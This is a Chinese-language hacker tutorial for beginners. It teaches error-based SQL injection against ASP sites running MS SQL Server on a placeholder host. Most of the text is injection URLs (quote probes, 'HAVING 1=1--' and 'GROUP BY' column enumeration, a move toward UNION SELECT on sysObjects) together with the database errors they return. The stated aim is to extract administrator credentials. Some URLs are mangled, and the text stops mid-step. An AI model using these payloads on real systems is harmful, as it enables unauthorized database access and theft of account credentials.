利用SQL进行添加,更改,查看记录。 当一台主机台开了80端口,当你手头没有任何黑客工具,那么,偶们有SQL。 他不需要你其他东东,只要一个浏览器就够了。HOHO,偶的文章菜菜,偶写这 篇文章只是为了让一些对SQL很陌生的菜菜们看的,老鸟绕道。。。 1,什么是SQL注入? SQL注入,就是利用欺骗的方式,通过网页的查询功能,或查询命令注入。 当用户来到网站,会提交一些数据,再到数据库进行查询,确定此用户的身份。 举个简单的例子来说吧,你去一个站点的论坛,那么,你会输入你的用户名和 密码,点“确定”,网站会通过数据库的查询来判断你是不是他们的用户, 你的用户名和密码是否正确。而利用SQL注入,通过构造特殊的语句,来查找我 们所想要得到的信息,如管理员的帐号密码。以下,小林用了http://xxx.xxx.com 来表示一个存在注入漏洞的网页。 2,助手篇, 先把IE菜单-工具-Internet选项-高级-显示友好 HTTP 错误信息前面的勾去掉。 否则,不论服务器返回什么错误,我们都只能看到“HTTP 500服务器错误”,不能获得更多的提示信息 。
3,哪些网页能利用? 我们去找一些要提交数据的网页,如:登陆页面,查找页面,添加页面等 找到后,如果你注意过网页的源代码,那么,你会发现,他上面一般有一个如下的表单: <FORM action=login.asp method=post> <input ........ </FORM> 这些网页,后缀如asp,jsp,cgi,php网页。 如:http://xxx.xxx.com/index.asp?id=10 上面这个例子,就是ASP页后,看到他的ID还的值了吗?是10。一般,我们找的就是这些页面 来练手了。(要做个好人噢。(^_^)像小林一样的好人。) 4,怎么测试它是存在注入漏洞的呢?这一步偶称它为“踩点”。 小林有一个毛病,看什么网页,就要顺手在参数(如上面的10)上加一个小小的引号。 http://xxx.xxx.com/index.asp?id=10 返回错误信息: Microsoft OLE DB Provider for SQL Server 错误 80040e14 字符串 之前有未闭合的引号。 /job/grxx.asp,行141 这就是说,他用的是MsSQL数据库。这个引号,导致引号未闭合的错误。本身就是错的,因为 通常一个整数是不用在SQL里加引号的。 如果他不是一个整数而是字母呢? http://xxx.xxx.com/index.asp?user=lamb 那我们就把引号放到lamb中间,如lamb 呵呵,又出错了吧? 这说明,站点这一部分的代码是大有问题的(当然,就算他有源码公布在网上,我也懒得看) 当然,我们也可以提交: http://xxx.xxx.com/index.asp?id=10 ;AND columnaaa=5 (注,这里的columnaaa是我乱写的) 出现错误信息: Microsoft OLE DB Provider for ODBC Drivers 错误 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name columnaaa. /job/grxx.asp,行27 这说明,这是一个SQL,里面没有columnaaa这个字段(我习惯说“列”)。 利用出错的信息,我们现在多少了解了这个站点的服务了吧? 5,现在开工啦,偶不喜欢猜测他的字段名,太浪费TIME了,我们要想办法让数据查询中出错。 要产生一个错误让它自己报出数据库里的值。让我们用一用SQL语法GROUP BY 或HAVING。如: asp?id=23%20HAVING%201=1">http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1-- 出现错误信息: Microsoft OLE DB Provider for ODBC Drivers 错误 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server]Column article.newsid is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /more.asp,行27 看到article.newsid了吗?说明有一个叫article.newsid的列,因为你在用HAVING,所以你必须还要用 上GROUP BY,于是黑客就重复错误提交,直到没有得到错误。 这里要说明一下:分号在这里分离,%20 是空格,--表示后面是一个注释,也就是说只是说明,不能去 执行代码。(*_*) 下面是具体例子: 提交: http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1-- 得到article.newsid这真是好东西。 提交: http://xxx.xxx.com/job/grxx.asp?id=23%20group%20by%20article.newsid%20having%201=1-- 得到错误信息: Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Column article.title is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /more.asp,line 20 得到: article.title 我们反复地一个一个加上来提交。 得到错误信息: Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Column adm.userName is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /more.asp,line 56 这里要注意了,都到哪儿了?到下一个表了。 现在我们知道这里至少有2个表,他们的别名是:adm和article,如里面article对应的是:newsid等 title 利用系统表: 下面,我们要确定表名来加入数据。 系统表是MS-SQL 2000的一部分,名叫sysObjects table,我们将要用到查询UNION SELECT,。 要从SysObjects table 有天地拿到表名,一般使用下面语句: SELECT name FROM sysObjects |